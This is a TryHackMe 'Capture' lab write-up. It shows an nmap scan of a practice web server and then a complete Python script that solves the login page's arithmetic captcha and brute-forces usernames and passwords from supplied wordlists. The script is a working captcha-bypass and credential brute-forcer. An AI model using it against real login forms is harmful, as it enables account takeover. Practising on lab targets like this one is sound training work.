Capture TryHackMe Writeup
Scanning
We scan the open ports with the nmap tool with scripts and software versions.
> nmap -sVC -p- --min-rate 5000 10.10.183.73 -Pn -n -oN nmap-10.10.183.73.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 22:10 CEST
Nmap scan report for 10.10.183.73
Host is up (0.058s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug/2.2.2 Python/3.8.10
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was /login
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Sun, 07 May 2023 20:11:27 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Sun, 07 May 2023 20:11:22 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 199
| Location: /login
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="/login">/login</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Sun, 07 May 2023 20:11:22 GMT
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, GET, OPTIONS
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-server-header: Werkzeug/2.2.2 Python/3.8.10
Enumeration
We access the website, see the Intranet authentication form, try default credentials, but without success.
We download the files, there is a list of users and a list of passwords, this gives us a clue that we will have to use brute force. (These files are provided in the challenge description.)
> ls
passwords.txt usernames.txt
> wc -l *
1567 passwords.txt
877 usernames.txt
2444 total
It seems easy, but things get complicated because the application has an arbitrary captcha protection, so we will have to generate a script in Python (or the language you control) to perform brute force and evade the protection.
Exploitation
In my case, I assemble a simple Python script with a function to calculate the captcha and make the request, the script is divided into two parts:
- First it detects the existing user.
- If the user exists, it will start to get the password and as soon as it detects it, it will stop.
Script coding
#!/usr/bin/env python3
import requests, re
url = "http://10.10.183.73/login"
burp = {'http': 'http://127.0.0.1:8080'}
def extractCaptcha(html):
captcha_regex = r'(\d+)\s*([\+\-\*])\s*(\d+)\s*=\s*\?'
match = re.search(captcha_regex, html)
if match:
num1 = int(match.group(1))
operator = match.group(2)
num2 = int(match.group(3))
if operator == '+':
result = num1 + num2
elif operator == '-':
result = num1 - num2
elif operator == '*':
result = num1 * num2
return result
else:
return None
if __name__ == '__main__':
s = requests.session()
print("[+] Bruteforce starting...")
result = "does not exist"
fUsers = open('/home/kali/Documents/Capture/files/usernames.txt', errors='ignore')
for username in fUsers.readlines():
postData = {
'username': username.strip(),
'password': "test",
'captcha': result
}
r = s.post(url, data=postData, proxies=burp, verify=False)
result = extractCaptcha(r.text)
if "does not exist" not in r.text:
print("\n[+] Found User: " + username.strip())
break
username = username.strip()
print("\n[+] Obtain password....")
fPasswords = open('/home/kali/Documents/Capture/files/passwords.txt', errors='ignore')
for password in fPasswords.readlines():
postData = {
'username': username,
'password': password.strip(),
'captcha': result
}
r = s.post(url, data=postData, proxies=burp, verify=False)
result = extractCaptcha(r.text)
if "Error:" not in r.text:
print("\n[+] Found credentials: " + username.strip() + ":" + password.strip())
break
After a few minutes we will get the credentials:
> python3 bruteforce.py
[+] Bruteforce starting...
[+] Found User: xxxxxxxxx
[+] Obtain password....
[+] Found credentials: xxxxxx:********
Finally we authenticate with the credentials and we will obtain the flag.
